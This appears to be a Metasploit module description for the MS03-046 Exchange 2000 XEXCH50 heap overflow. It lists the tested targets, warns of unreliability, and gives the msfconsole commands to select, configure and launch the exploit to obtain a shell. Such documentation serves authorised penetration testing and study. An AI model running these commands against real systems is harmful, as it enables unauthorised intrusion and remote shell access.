This is an exploit for the Exchange 2000 heap overflow. Due to the nature of the vulnerability, this exploit is not very reliable. This module has been tested against Exchange 2000 SP0 and SP3 running a Windows 2000 system patched to SP4. It normally takes between one and 100 connection attempts to successfully obtain a shell. This exploit is *very* unreliable.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/smtp/ms03_046_exchange2000_xexch50
msf exploit(ms03_046_exchange2000_xexch50) > show targets
...targets...
msf exploit(ms03_046_exchange2000_xexch50) > set TARGET < target-id >
msf exploit(ms03_046_exchange2000_xexch50) > show options
...show and set options...
msf exploit(ms03_046_exchange2000_xexch50) > exploit
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